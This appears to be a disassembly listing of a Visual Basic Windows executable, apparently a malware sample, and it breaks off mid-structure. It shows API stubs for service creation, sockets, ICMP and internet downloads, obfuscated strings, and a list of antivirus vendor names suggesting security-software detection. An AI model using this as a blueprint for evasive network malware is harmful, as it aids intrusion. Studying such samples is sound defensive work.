Similarity

004067d9
004067d9 00 00 00 00 00 00 00 .......
004067e0 16 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 ................
004067f0 00 00 73 01 ff ff ff ff 01 00 00 00 0c 00 08 00 ..s.............
00406800 00 00 00 00 08 00 04 04 20 00 50 02 00 00 02 00 ........ .P.....
00406810 40 01 04 34 2c 00 0a 20 00 00 2c 00 04 01 34 02 @..4,.. ..,...4.
00406820 0a 20 3c 00 30 01 0e 00 . <.0...
00406828
00406828 struct VBDeclareNameLength
00406828 cbName int 15
0040682c
0040682c string "FindFirstFileA",0
0040683b
0040683b 00 02 00 00 00 .....
00406840
00406840 wstring "w",0
00406844
00406844 struct DeclareInfo
00406844 lpszLibraryName uint32 0x405f48
00406848 lpszFunctionName uint32 0x40682c
0040684c dwFlags uint32 0x00040000
00406850 lpCache uint32 0x41bd1c
00406854 dwReserved uint32 0x00000000
00406858
00406858 00 00 00 00 ....

0040685c
0040685cfn_40685c:
0040685cmov eax, [0x41bd24]
00406861or eax, eax
00406863je 0x406867
00406865jmp eax
00406867
00406867loc_406867:
00406867push 0x406844
0040686cmov eax, 0x4010e0
00406871call eax
00406873jmp eax
0040685c

00406875
00406875 00 00 00 ...
00406878
00406878 struct VBDeclareNameLength
00406878 cbName int 14
0040687c
0040687c string "FindNextFileA",0
0040688a
0040688a 00 00 ..
0040688c
0040688c struct DeclareInfo
0040688c lpszLibraryName uint32 0x405f48
00406890 lpszFunctionName uint32 0x40687c
00406894 dwFlags uint32 0x00040000
00406898 lpCache uint32 0x41bd28
0040689c dwReserved uint32 0x00000000
004068a0
004068a0 00 00 00 00 ....

004068a4
004068a4fn_4068a4:
004068a4mov eax, [0x41bd30]
004068a9or eax, eax
004068abje 0x4068af
004068adjmp eax
004068af
004068afloc_4068af:
004068afpush 0x40688c
004068b4mov eax, 0x4010e0
004068b9call eax
004068bbjmp eax
004068a4

004068bd
004068bd 00 00 00 ...
004068c0
004068c0 struct VBDeclareNameLength
004068c0 cbName int 10
004068c4
004068c4 string "FindClose",0
004068ce
004068ce 00 00 ..
004068d0
004068d0 struct DeclareInfo
004068d0 lpszLibraryName uint32 0x405f48
004068d4 lpszFunctionName uint32 0x4068c4
004068d8 dwFlags uint32 0x00040000
004068dc lpCache uint32 0x41bd34
004068e0 dwReserved uint32 0x00000000
004068e4
004068e4 00 00 00 00 ....

004068e8
004068e8fn_4068e8:
004068e8mov eax, [0x41bd3c]
004068edor eax, eax
004068efje 0x4068f3
004068f1jmp eax
004068f3
004068f3loc_4068f3:
004068f3push 0x4068d0
004068f8mov eax, 0x4010e0
004068fdcall eax
004068ffjmp eax
004068e8

00406901
00406901 00 00 00 1c 00 24 00 00 00 04 00 00 00 00 00 .....$.........
00406910 14 00 03 00 00 00 02 00 10 00 03 00 1c 00 01 00 ................
00406920 12 00 00 00 ....
00406924
00406924 wstring "d`j{fzfo}",0
00406938
00406938 04 00 00 00 ....
0040693c
0040693c wstring "'e",0
00406942
00406942 00 00 06 00 00 00 ......
00406948
00406948 wstring "a}d",0
00406950
00406950 06 00 00 00 ....
00406954
00406954 wstring "{h{",0
0040695c
0040695c 06 00 00 00 ....
00406960
00406960 wstring "s`y",0
00406968
00406968 08 00 00 00 ....
0040696c
0040696c wstring "~~~'",0
00406976
00406976 00 00 04 00 00 00 ......
0040697c
0040697c wstring "..",0
00406982
00406982 00 00 0a 00 00 00 ......
00406988
00406988 wstring "\x7f`{|z",0
00406994
00406994 0c 00 00 00 ....
00406998
00406998 wstring "z|yf{}",0
004069a6
004069a6 00 00 10 00 00 00 ......
004069ac
004069ac wstring "DffgDh`e",0
004069be
004069be 00 00 ..
004069c0 10 00 00 00 ....
004069c4
004069c4 wstring "pf|{z`}l",0
004069d6
004069d6 00 00 14 00 00 00 ......
004069dc
004069dc wstring "pf|{mfdh`g",0
004069f2
004069f2 00 00 10 00 00 00 ......
004069f8
004069f8 wstring "security",0
00406a0a
00406a0a 00 00 0a 00 00 00 ......
00406a10
00406a10 wstring "avira",0
00406a1c
00406a1c 0c 00 00 00 ....
00406a20
00406a20 wstring "norman",0
00406a2e
00406a2e 00 00 ..
00406a30 0c 00 00 00 ....
00406a34
00406a34 wstring "norton",0
00406a42
00406a42 00 00 0a 00 00 00 ......
00406a48
00406a48 wstring "panda",0
00406a54
00406a54 0c 00 00 00 ....
00406a58
00406a58 wstring "mcafee",0
00406a66
00406a66 00 00 0a 00 00 00 ......
00406a6c
00406a6c wstring "Syman",0
00406a78
00406a78 0c 00 00 00 ....
00406a7c
00406a7c wstring "sophos",0
00406a8a
00406a8a 00 00 0a 00 00 00 ......
00406a90
00406a90 wstring "Trend",0
00406a9c
00406a9c 0c 00 00 00 ....
00406aa0
00406aa0 wstring "vaksin",0
00406aae
00406aae 00 00 ..
00406ab0 0c 00 00 00 ....
00406ab4
00406ab4 wstring "novell",0
00406ac2
00406ac2 00 00 0a 00 00 00 ......
00406ac8
00406ac8 wstring "virus",0
00406ad4
00406ad4 0c 00 00 00 ....
00406ad8
00406ad8 wstring "g`yz\x7fj",0
00406ae6
00406ae6 00 00 1c 00 00 00 ......
00406aec
00406aec wstring "Gf{dhg)GCll\x7flz",0
00406b0a
00406b0a 00 00 0c 00 00 00 ......
00406b10
00406b10 wstring "g\x7fjfhz",0
00406b1e
00406b1e 00 00 ..
00406b20 18 00 00 00 ....
00406b24
00406b24 wstring "Gf{dhg)Shgmh",0
00406b3e
00406b3e 00 00 ..
00406b40
00406b40 struct VBDeclareNameLength
00406b40 cbName int 13
00406b44
00406b44 string "advapi32.dll",0
00406b51
00406b51 00 00 00 ...
00406b54
00406b54 struct VBDeclareNameLength
00406b54 cbName int 15
00406b58
00406b58 string "OpenSCManagerA",0
00406b67
00406b67 00 02 00 00 00 .....
00406b6c
00406b6c wstring "W",0
00406b70
00406b70 struct DeclareInfo
00406b70 lpszLibraryName uint32 0x406b44
00406b74 lpszFunctionName uint32 0x406b58
00406b78 dwFlags uint32 0x00040000
00406b7c lpCache uint32 0x41bd40
00406b80 dwReserved uint32 0x00000000
00406b84
00406b84 00 00 00 00 ....

00406b88
00406b88fn_406b88:
00406b88mov eax, [0x41bd48]
00406b8dor eax, eax
00406b8fje 0x406b93
00406b91jmp eax
00406b93
00406b93loc_406b93:
00406b93push 0x406b70
00406b98mov eax, 0x4010e0
00406b9dcall eax
00406b9fjmp eax
00406b88

00406ba1
00406ba1 00 00 00 ...
00406ba4
00406ba4 struct VBDeclareNameLength
00406ba4 cbName int 15
00406ba8
00406ba8 string "CreateServiceA",0
00406bb7
00406bb7 00 .
00406bb8
00406bb8 struct DeclareInfo
00406bb8 lpszLibraryName uint32 0x406b44
00406bbc lpszFunctionName uint32 0x406ba8
00406bc0 dwFlags uint32 0x00040000
00406bc4 lpCache uint32 0x41bd4c
00406bc8 dwReserved uint32 0x00000000
00406bcc
00406bcc 00 00 00 00 ....

00406bd0
00406bd0fn_406bd0:
00406bd0mov eax, [0x41bd54]
00406bd5or eax, eax
00406bd7je 0x406bdb
00406bd9jmp eax
00406bdb
00406bdbloc_406bdb:
00406bdbpush 0x406bb8
00406be0mov eax, 0x4010e0
00406be5call eax
00406be7jmp eax
00406bd0

00406be9
00406be9 00 00 00 ...
00406bec
00406bec struct VBDeclareNameLength
00406bec cbName int 14
00406bf0
00406bf0 string "DeleteService",0
00406bfe
00406bfe 00 00 ..
00406c00
00406c00 struct DeclareInfo
00406c00 lpszLibraryName uint32 0x406b44
00406c04 lpszFunctionName uint32 0x406bf0
00406c08 dwFlags uint32 0x00040000
00406c0c lpCache uint32 0x41bd58
00406c10 dwReserved uint32 0x00000000
00406c14
00406c14 00 00 00 00 ....

00406c18
00406c18fn_406c18:
00406c18mov eax, [0x41bd60]
00406c1dor eax, eax
00406c1fje 0x406c23
00406c21jmp eax
00406c23
00406c23loc_406c23:
00406c23push 0x406c00
00406c28mov eax, 0x4010e0
00406c2dcall eax
00406c2fjmp eax
00406c18

00406c31
00406c31 00 00 00 ...
00406c34
00406c34 struct VBDeclareNameLength
00406c34 cbName int 19
00406c38
00406c38 string "CloseServiceHandle",0
00406c4b
00406c4b 00 .
00406c4c
00406c4c struct DeclareInfo
00406c4c lpszLibraryName uint32 0x406b44
00406c50 lpszFunctionName uint32 0x406c38
00406c54 dwFlags uint32 0x00040000
00406c58 lpCache uint32 0x41bd64
00406c5c dwReserved uint32 0x00000000
00406c60
00406c60 00 00 00 00 ....

00406c64
00406c64fn_406c64:
00406c64mov eax, [0x41bd6c]
00406c69or eax, eax
00406c6bje 0x406c6f
00406c6djmp eax
00406c6f
00406c6floc_406c6f:
00406c6fpush 0x406c4c
00406c74mov eax, 0x4010e0
00406c79call eax
00406c7bjmp eax
00406c64

00406c7d
00406c7d 00 00 00 ...
00406c80
00406c80 struct VBDeclareNameLength
00406c80 cbName int 13
00406c84
00406c84 string "OpenServiceA",0
00406c91
00406c91 00 00 00 ...
00406c94
00406c94 struct DeclareInfo
00406c94 lpszLibraryName uint32 0x406b44
00406c98 lpszFunctionName uint32 0x406c84
00406c9c dwFlags uint32 0x00040000
00406ca0 lpCache uint32 0x41bd70
00406ca4 dwReserved uint32 0x00000000
00406ca8
00406ca8 00 00 00 00 ....

00406cac
00406cacfn_406cac:
00406cacmov eax, [0x41bd78]
00406cb1or eax, eax
00406cb3je 0x406cb7
00406cb5jmp eax
00406cb7
00406cb7loc_406cb7:
00406cb7push 0x406c94
00406cbcmov eax, 0x4010e0
00406cc1call eax
00406cc3jmp eax
00406cac

00406cc5
00406cc5 00 00 00 10 00 08 00 00 00 01 00 ...........
00406cd0 00 00 00 00 00 00 01 00 16 00 18 00 00 00 01 00 ................
00406ce0 10 00 04 34 08 00 0a 20 ca 3f 08 00 08 00 00 00 ...4... .?......
00406cf0 0c 00 10 00 00 00 00 00 10 00 04 04 0c 00 94 01 ................
00406d00 00 00 00 00 94 01 04 04 16 00 10 02 00 00 01 00 ................
00406d10 18 01 04 34 1c 00 0a 20 ca 3f 1c 00 fa 00 00 00 ...4... .?......
00406d20
00406d20 struct VBDeclareNameLength
00406d20 cbName int 11
00406d24
00406d24 string "ws2_32.dll",0
00406d2f
00406d2f 00 .
00406d30 00 00 00 00 ....
00406d34
00406d34 struct DeclareInfo
00406d34 lpszLibraryName uint32 0x406d24
00406d38 lpszFunctionName uint32 0x4067d4
00406d3c dwFlags uint32 0x00040000
00406d40 lpCache uint32 0x41bd7c
00406d44 dwReserved uint32 0x00000000
00406d48
00406d48 00 00 00 00 ....

00406d4c
00406d4cfn_406d4c:
00406d4cmov eax, [0x41bd84]
00406d51or eax, eax
00406d53je 0x406d57
00406d55jmp eax
00406d57
00406d57loc_406d57:
00406d57push 0x406d34
00406d5cmov eax, 0x4010e0
00406d61call eax
00406d63jmp eax
00406d4c

00406d65
00406d65 00 00 00 ...
00406d68
00406d68 struct VBDeclareNameLength
00406d68 cbName int 15
00406d6c
00406d6c string "WSAAsyncSelect",0
00406d7b
00406d7b 00 .
00406d7c
00406d7c struct DeclareInfo
00406d7c lpszLibraryName uint32 0x406d24
00406d80 lpszFunctionName uint32 0x406d6c
00406d84 dwFlags uint32 0x00040000
00406d88 lpCache uint32 0x41bd88
00406d8c dwReserved uint32 0x00000000
00406d90
00406d90 00 00 00 00 ....

00406d94
00406d94fn_406d94:
00406d94mov eax, [0x41bd90]
00406d99or eax, eax
00406d9bje 0x406d9f
00406d9djmp eax
00406d9f
00406d9floc_406d9f:
00406d9fpush 0x406d7c
00406da4mov eax, 0x4010e0
00406da9call eax
00406dabjmp eax
00406d94

00406dad
00406dad 00 00 00 ...
00406db0
00406db0 struct VBDeclareNameLength
00406db0 cbName int 7
00406db4
00406db4 string "listen",0
00406dbb
00406dbb 00 .
00406dbc
00406dbc struct DeclareInfo
00406dbc lpszLibraryName uint32 0x406d24
00406dc0 lpszFunctionName uint32 0x406db4
00406dc4 dwFlags uint32 0x00040000
00406dc8 lpCache uint32 0x41bd94
00406dcc dwReserved uint32 0x00000000
00406dd0
00406dd0 00 00 00 00 ....

00406dd4
00406dd4fn_406dd4:
00406dd4mov eax, [0x41bd9c]
00406dd9or eax, eax
00406ddbje 0x406ddf
00406dddjmp eax
00406ddf
00406ddfloc_406ddf:
00406ddfpush 0x406dbc
00406de4mov eax, 0x4010e0
00406de9call eax
00406debjmp eax
00406dd4

00406ded
00406ded 00 00 00 ...
00406df0
00406df0 struct VBDeclareNameLength
00406df0 cbName int 6
00406df4
00406df4 string "htonl",0
00406dfa
00406dfa 00 00 ..
00406dfc
00406dfc struct DeclareInfo
00406dfc lpszLibraryName uint32 0x406d24
00406e00 lpszFunctionName uint32 0x406df4
00406e04 dwFlags uint32 0x00040000
00406e08 lpCache uint32 0x41bda0
00406e0c dwReserved uint32 0x00000000
00406e10
00406e10 00 00 00 00 ....

00406e14
00406e14fn_406e14:
00406e14mov eax, [0x41bda8]
00406e19or eax, eax
00406e1bje 0x406e1f
00406e1djmp eax
00406e1f
00406e1floc_406e1f:
00406e1fpush 0x406dfc
00406e24mov eax, 0x4010e0
00406e29call eax
00406e2bjmp eax
00406e14

00406e2d
00406e2d 00 00 00 ...
00406e30
00406e30 struct VBDeclareNameLength
00406e30 cbName int 7
00406e34
00406e34 string "accept",0
00406e3b
00406e3b 00 .
00406e3c
00406e3c struct DeclareInfo
00406e3c lpszLibraryName uint32 0x406d24
00406e40 lpszFunctionName uint32 0x406e34
00406e44 dwFlags uint32 0x00040000
00406e48 lpCache uint32 0x41bdac
00406e4c dwReserved uint32 0x00000000
00406e50
00406e50 00 00 00 00 ....

00406e54
00406e54fn_406e54:
00406e54mov eax, [0x41bdb4]
00406e59or eax, eax
00406e5bje 0x406e5f
00406e5djmp eax
00406e5f
00406e5floc_406e5f:
00406e5fpush 0x406e3c
00406e64mov eax, 0x4010e0
00406e69call eax
00406e6bjmp eax
00406e54

00406e6d
00406e6d 00 00 00 ...
00406e70
00406e70 struct VBDeclareNameLength
00406e70 cbName int 9
00406e74
00406e74 string "icmp.dll",0
00406e7d
00406e7d 00 00 00 ...
00406e80
00406e80 struct VBDeclareNameLength
00406e80 cbName int 15
00406e84
00406e84 string "IcmpCreateFile",0
00406e93
00406e93 00 .
00406e94
00406e94 struct DeclareInfo
00406e94 lpszLibraryName uint32 0x406e74
00406e98 lpszFunctionName uint32 0x406e84
00406e9c dwFlags uint32 0x00040000
00406ea0 lpCache uint32 0x41bdb8
00406ea4 dwReserved uint32 0x00000000
00406ea8
00406ea8 00 00 00 00 ....

00406eac
00406eacfn_406eac:
00406eacmov eax, [0x41bdc0]
00406eb1or eax, eax
00406eb3je 0x406eb7
00406eb5jmp eax
00406eb7
00406eb7loc_406eb7:
00406eb7push 0x406e94
00406ebcmov eax, 0x4010e0
00406ec1call eax
00406ec3jmp eax
00406eac

00406ec5
00406ec5 00 00 00 ...
00406ec8
00406ec8 struct VBDeclareNameLength
00406ec8 cbName int 16
00406ecc
00406ecc string "IcmpCloseHandle",0
00406edc
00406edc 06 00 00 00 ....
00406ee0
00406ee0 wstring "yay",0
00406ee8
00406ee8 06 00 00 00 ....
00406eec
00406eec wstring "{}o",0
00406ef4
00406ef4 00 00 00 00 ....
00406ef8
00406ef8 struct DeclareInfo
00406ef8 lpszLibraryName uint32 0x406e74
00406efc lpszFunctionName uint32 0x406ecc
00406f00 dwFlags uint32 0x00040000
00406f04 lpCache uint32 0x41bdc4
00406f08 dwReserved uint32 0x00000000
00406f0c
00406f0c 00 00 00 00 ....

00406f10
00406f10fn_406f10:
00406f10mov eax, [0x41bdcc]
00406f15or eax, eax
00406f17je 0x406f1b
00406f19jmp eax
00406f1b
00406f1bloc_406f1b:
00406f1bpush 0x406ef8
00406f20mov eax, 0x4010e0
00406f25call eax
00406f27jmp eax
00406f10

00406f29
00406f29 00 00 00 ...
00406f2c
00406f2c struct VBDeclareNameLength
00406f2c cbName int 13
00406f30
00406f30 string "IcmpSendEcho",0
00406f3d
00406f3d 00 00 00 ...
00406f40
00406f40 struct DeclareInfo
00406f40 lpszLibraryName uint32 0x406e74
00406f44 lpszFunctionName uint32 0x406f30
00406f48 dwFlags uint32 0x00040000
00406f4c lpCache uint32 0x41bdd0
00406f50 dwReserved uint32 0x00000000
00406f54
00406f54 00 00 00 00 ....

00406f58
00406f58fn_406f58:
00406f58mov eax, [0x41bdd8]
00406f5dor eax, eax
00406f5fje 0x406f63
00406f61jmp eax
00406f63
00406f63loc_406f63:
00406f63push 0x406f40
00406f68mov eax, 0x4010e0
00406f6dcall eax
00406f6fjmp eax
00406f58

00406f71
00406f71 00 00 00 ...
00406f74
00406f74 struct VBDeclareNameLength
00406f74 cbName int 11
00406f78
00406f78 string "WSAStartup",0
00406f83
00406f83 00 .
00406f84
00406f84 struct DeclareInfo
00406f84 lpszLibraryName uint32 0x406d24
00406f88 lpszFunctionName uint32 0x406f78
00406f8c dwFlags uint32 0x00040000
00406f90 lpCache uint32 0x41bddc
00406f94 dwReserved uint32 0x00000000
00406f98
00406f98 00 00 00 00 ....

00406f9c
00406f9cfn_406f9c:
00406f9cmov eax, [0x41bde4]
00406fa1or eax, eax
00406fa3je 0x406fa7
00406fa5jmp eax
00406fa7
00406fa7loc_406fa7:
00406fa7push 0x406f84
00406facmov eax, 0x4010e0
00406fb1call eax
00406fb3jmp eax
00406f9c

00406fb5
00406fb5 00 00 00 ...
00406fb8
00406fb8 struct VBDeclareNameLength
00406fb8 cbName int 14
00406fbc
00406fbc string "gethostbyname",0
00406fca
00406fca 00 00 ..
00406fcc
00406fcc struct DeclareInfo
00406fcc lpszLibraryName uint32 0x406d24
00406fd0 lpszFunctionName uint32 0x406fbc
00406fd4 dwFlags uint32 0x00040000
00406fd8 lpCache uint32 0x41bde8
00406fdc dwReserved uint32 0x00000000
00406fe0
00406fe0 00 00 00 00 ....

00406fe4
00406fe4fn_406fe4:
00406fe4mov eax, [0x41bdf0]
00406fe9or eax, eax
00406febje 0x406fef
00406fedjmp eax
00406fef
00406fefloc_406fef:
00406fefpush 0x406fcc
00406ff4mov eax, 0x4010e0
00406ff9call eax
00406ffbjmp eax
00406fe4

00406ffd
00406ffd 00 00 00 ...
00407000
00407000 struct VBDeclareNameLength
00407000 cbName int 11
00407004
00407004 string "WSACleanup",0
0040700f
0040700f 00 .
00407010
00407010 struct DeclareInfo
00407010 lpszLibraryName uint32 0x406d24
00407014 lpszFunctionName uint32 0x407004
00407018 dwFlags uint32 0x00040000
0040701c lpCache uint32 0x41bdf4
00407020 dwReserved uint32 0x00000000
00407024
00407024 00 00 00 00 ....

00407028
00407028fn_407028:
00407028mov eax, [0x41bdfc]
0040702dor eax, eax
0040702fje 0x407033
00407031jmp eax
00407033
00407033loc_407033:
00407033push 0x407010
00407038mov eax, 0x4010e0
0040703dcall eax
0040703fjmp eax
00407028

00407041
00407041 00 00 00 ...
00407044
00407044 struct VBDeclareNameLength
00407044 cbName int 14
00407048
00407048 string "RtlMoveMemory",0
00407056
00407056 00 00 ..
00407058
00407058 struct DeclareInfo
00407058 lpszLibraryName uint32 0x405f48
0040705c lpszFunctionName uint32 0x407048
00407060 dwFlags uint32 0x00040000
00407064 lpCache uint32 0x41be00
00407068 dwReserved uint32 0x00000000
0040706c
0040706c 00 00 00 00 ....

00407070
00407070fn_407070:
00407070mov eax, [0x41be08]
00407075or eax, eax
00407077je 0x40707b
00407079jmp eax
0040707b
0040707bloc_40707b:
0040707bpush 0x407058
00407080mov eax, 0x4010e0
00407085call eax
00407087jmp eax
00407070

00407089
00407089 00 00 00 ...
0040708c
0040708c struct VBDeclareNameLength
0040708c cbName int 12
00407090
00407090 string "wsock32.dll",0
0040709c
0040709c struct VBDeclareNameLength
0040709c cbName int 5
004070a0
004070a0 string "recv",0
004070a5
004070a5 00 00 00 ...
004070a8
004070a8 struct VBDeclareNameLength
004070a8 cbName int 5
004070ac
004070ac string "send",0
004070b1
004070b1 00 00 00 02 00 00 00 .......
004070b8
004070b8 wstring "v",0
004070bc
004070bc struct DeclareInfo
004070bc lpszLibraryName uint32 0x407090
004070c0 lpszFunctionName uint32 0x4070a0
004070c4 dwFlags uint32 0x00040000
004070c8 lpCache uint32 0x41be0c
004070cc dwReserved uint32 0x00000000
004070d0
004070d0 00 00 00 00 ....

004070d4
004070d4fn_4070d4:
004070d4mov eax, [0x41be14]
004070d9or eax, eax
004070dbje 0x4070df
004070ddjmp eax
004070df
004070dfloc_4070df:
004070dfpush 0x4070bc
004070e4mov eax, 0x4010e0
004070e9call eax
004070ebjmp eax
004070d4

004070ed
004070ed 00 00 00 ...
004070f0
004070f0 struct VBDeclareNameLength
004070f0 cbName int 14
004070f4
004070f4 string "gethostbyaddr",0
00407102
00407102 00 00 ..
00407104
00407104 struct DeclareInfo
00407104 lpszLibraryName uint32 0x406d24
00407108 lpszFunctionName uint32 0x4070f4
0040710c dwFlags uint32 0x00040000
00407110 lpCache uint32 0x41be18
00407114 dwReserved uint32 0x00000000
00407118
00407118 00 00 00 00 ....

0040711c
0040711cfn_40711c:
0040711cmov eax, [0x41be20]
00407121or eax, eax
00407123je 0x407127
00407125jmp eax
00407127
00407127loc_407127:
00407127push 0x407104
0040712cmov eax, 0x4010e0
00407131call eax
00407133jmp eax
0040711c

00407135
00407135 00 00 00 ...
00407138
00407138 struct VBDeclareNameLength
00407138 cbName int 10
0040713c
0040713c string "inet_addr",0
00407146
00407146 00 00 ..
00407148
00407148 struct DeclareInfo
00407148 lpszLibraryName uint32 0x406d24
0040714c lpszFunctionName uint32 0x40713c
00407150 dwFlags uint32 0x00040000
00407154 lpCache uint32 0x41be24
00407158 dwReserved uint32 0x00000000
0040715c
0040715c 00 00 00 00 ....

00407160
00407160fn_407160:
00407160mov eax, [0x41be2c]
00407165or eax, eax
00407167je 0x40716b
00407169jmp eax
0040716b
0040716bloc_40716b:
0040716bpush 0x407148
00407170mov eax, 0x4010e0
00407175call eax
00407177jmp eax
00407160

00407179
00407179 00 00 00 ...
0040717c
0040717c struct VBDeclareNameLength
0040717c cbName int 6
00407180
00407180 string "htons",0
00407186
00407186 00 00 ..
00407188
00407188 struct DeclareInfo
00407188 lpszLibraryName uint32 0x406d24
0040718c lpszFunctionName uint32 0x407180
00407190 dwFlags uint32 0x00040000
00407194 lpCache uint32 0x41be30
00407198 dwReserved uint32 0x00000000
0040719c
0040719c 00 00 00 00 ....

004071a0
004071a0fn_4071a0:
004071a0mov eax, [0x41be38]
004071a5or eax, eax
004071a7je 0x4071ab
004071a9jmp eax
004071ab
004071abloc_4071ab:
004071abpush 0x407188
004071b0mov eax, 0x4010e0
004071b5call eax
004071b7jmp eax
004071a0

004071b9
004071b9 00 00 00 ...
004071bc
004071bc struct VBDeclareNameLength
004071bc cbName int 12
004071c0
004071c0 string "ioctlsocket",0
004071cc
004071cc struct DeclareInfo
004071cc lpszLibraryName uint32 0x406d24
004071d0 lpszFunctionName uint32 0x4071c0
004071d4 dwFlags uint32 0x00040000
004071d8 lpCache uint32 0x41be3c
004071dc dwReserved uint32 0x00000000
004071e0
004071e0 00 00 00 00 ....

004071e4
004071e4fn_4071e4:
004071e4mov eax, [0x41be44]
004071e9or eax, eax
004071ebje 0x4071ef
004071edjmp eax
004071ef
004071efloc_4071ef:
004071efpush 0x4071cc
004071f4mov eax, 0x4010e0
004071f9call eax
004071fbjmp eax
004071e4

004071fd
004071fd 00 00 00 ...
00407200
00407200 struct VBDeclareNameLength
00407200 cbName int 7
00407204
00407204 string "socket",0
0040720b
0040720b 00 .
0040720c
0040720c struct DeclareInfo
0040720c lpszLibraryName uint32 0x406d24
00407210 lpszFunctionName uint32 0x407204
00407214 dwFlags uint32 0x00040000
00407218 lpCache uint32 0x41be48
0040721c dwReserved uint32 0x00000000
00407220
00407220 00 00 00 00 ....

00407224
00407224fn_407224:
00407224mov eax, [0x41be50]
00407229or eax, eax
0040722bje 0x40722f
0040722djmp eax
0040722f
0040722floc_40722f:
0040722fpush 0x40720c
00407234mov eax, 0x4010e0
00407239call eax
0040723bjmp eax
00407224

0040723d
0040723d 00 00 00 ...
00407240
00407240 struct VBDeclareNameLength
00407240 cbName int 8
00407244
00407244 string "connect",0
0040724c
0040724c struct DeclareInfo
0040724c lpszLibraryName uint32 0x406d24
00407250 lpszFunctionName uint32 0x407244
00407254 dwFlags uint32 0x00040000
00407258 lpCache uint32 0x41be54
0040725c dwReserved uint32 0x00000000
00407260
00407260 00 00 00 00 ....

00407264
00407264fn_407264:
00407264mov eax, [0x41be5c]
00407269or eax, eax
0040726bje 0x40726f
0040726djmp eax
0040726f
0040726floc_40726f:
0040726fpush 0x40724c
00407274mov eax, 0x4010e0
00407279call eax
0040727bjmp eax
00407264

0040727d
0040727d 00 00 00 ...
00407280
00407280 struct DeclareInfo
00407280 lpszLibraryName uint32 0x406d24
00407284 lpszFunctionName uint32 0x4070ac
00407288 dwFlags uint32 0x00040000
0040728c lpCache uint32 0x41be60
00407290 dwReserved uint32 0x00000000
00407294
00407294 00 00 00 00 ....

00407298
00407298fn_407298:
00407298mov eax, [0x41be68]
0040729dor eax, eax
0040729fje 0x4072a3
004072a1jmp eax
004072a3
004072a3loc_4072a3:
004072a3push 0x407280
004072a8mov eax, 0x4010e0
004072adcall eax
004072afjmp eax
00407298

004072b1
004072b1 00 00 00 ...
004072b4
004072b4 struct DeclareInfo
004072b4 lpszLibraryName uint32 0x406d24
004072b8 lpszFunctionName uint32 0x4070a0
004072bc dwFlags uint32 0x00040000
004072c0 lpCache uint32 0x41be6c
004072c4 dwReserved uint32 0x00000000
004072c8
004072c8 00 00 00 00 ....

004072cc
004072ccfn_4072cc:
004072ccmov eax, [0x41be74]
004072d1or eax, eax
004072d3je 0x4072d7
004072d5jmp eax
004072d7
004072d7loc_4072d7:
004072d7push 0x4072b4
004072dcmov eax, 0x4010e0
004072e1call eax
004072e3jmp eax
004072cc

004072e5
004072e5 00 00 00 ...
004072e8
004072e8 struct VBDeclareNameLength
004072e8 cbName int 12
004072ec
004072ec string "closesocket",0
004072f8
004072f8 struct DeclareInfo
004072f8 lpszLibraryName uint32 0x406d24
004072fc lpszFunctionName uint32 0x4072ec
00407300 dwFlags uint32 0x00040000
00407304 lpCache uint32 0x41be78
00407308 dwReserved uint32 0x00000000
0040730c
0040730c 00 00 00 00 ....

00407310
00407310fn_407310:
00407310mov eax, [0x41be80]
00407315or eax, eax
00407317je 0x40731b
00407319jmp eax
0040731b
0040731bloc_40731b:
0040731bpush 0x4072f8
00407320mov eax, 0x4010e0
00407325call eax
00407327jmp eax
00407310

00407329
00407329 00 00 00 58 00 48 00 ...X.H.
00407330 00 00 04 00 00 00 00 10 0c 00 49 20 00 00 ff ff ..........I ....
00407340 d8 6c 40 00 ff ff ff ff ff ff ff ff 00 00 00 00 .l@.............
00407350 90 01 00 00 24 00 49 20 00 00 ff ff d8 6c 40 00 ....$.I .....l@.
00407360 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
00407370 3c 00 05 21 00 00 ff ff 01 20 40 00 05 21 00 00 <..!..... @..!..
00407380 ff ff 01 20 ...
00407384
00407384 struct VBDeclareNameLength
00407384 cbName int 17
00407388
00407388 string "InternetReadFile",0
00407399
00407399 00 00 00 ...
0040739c
0040739c struct DeclareInfo
0040739c lpszLibraryName uint32 0x40660c
004073a0 lpszFunctionName uint32 0x407388
004073a4 dwFlags uint32 0x00040000
004073a8 lpCache uint32 0x41be84
004073ac dwReserved uint32 0x00000000
004073b0
004073b0 00 00 00 00 ....

004073b4
004073b4fn_4073b4:
004073b4mov eax, [0x41be8c]
004073b9or eax, eax
004073bbje 0x4073bf
004073bdjmp eax
004073bf
004073bfloc_4073bf:
004073bfpush 0x40739c
004073c4mov eax, 0x4010e0
004073c9call eax
004073cbjmp eax
004073b4

004073cd
004073cd 00 00 00 ...
004073d0
004073d0 struct VBDeclareNameLength
004073d0 cbName int 20
004073d4
004073d4 string "InternetCloseHandle",0
004073e8
004073e8 struct DeclareInfo
004073e8 lpszLibraryName uint32 0x40660c
004073ec lpszFunctionName uint32 0x4073d4
004073f0 dwFlags uint32 0x00040000
004073f4 lpCache uint32 0x41be90
004073f8 dwReserved uint32 0x00000000
004073fc
004073fc 00 00 00 00 ....

00407400
00407400fn_407400:
00407400mov eax, [0x41be98]
00407405or eax, eax
00407407je 0x40740b
00407409jmp eax
0040740b
0040740bloc_40740b:
0040740bpush 0x4073e8
00407410mov eax, 0x4010e0
00407415call eax
00407417jmp eax
00407400

00407419
00407419 00 00 00 ...
0040741c
0040741c struct VBDeclareNameLength
0040741c cbName int 14
00407420
00407420 string "InternetOpenA",0
0040742e
0040742e 00 00 ..
00407430 02 00 00 00 ....
00407434
00407434 wstring ".",0
00407438
00407438 06 00 00 00 ....
0040743c
0040743c wstring "hzy",0
00407444
00407444 02 00 00 00 ....
00407448
00407448 wstring "V",0
0040744c
0040744c struct DeclareInfo
0040744c lpszLibraryName uint32 0x40660c
00407450 lpszFunctionName uint32 0x407420
00407454 dwFlags uint32 0x00040000
00407458 lpCache uint32 0x41be9c
0040745c dwReserved uint32 0x00000000
00407460
00407460 00 00 00 00 ....

00407464
00407464fn_407464:
00407464mov eax, [0x41bea4]
00407469or eax, eax
0040746bje 0x40746f
0040746djmp eax
0040746f
0040746floc_40746f:
0040746fpush 0x40744c
00407474mov eax, 0x4010e0
00407479call eax
0040747bjmp eax
00407464

0040747d
0040747d 00 00 00 ...
00407480
00407480 struct VBDeclareNameLength
00407480 cbName int 17
00407484
00407484 string "InternetConnectA",0
00407495
00407495 00 00 00 ...
00407498
00407498 struct DeclareInfo
00407498 lpszLibraryName uint32 0x40660c
0040749c lpszFunctionName uint32 0x407484
004074a0 dwFlags uint32 0x00040000
004074a4 lpCache uint32 0x41bea8
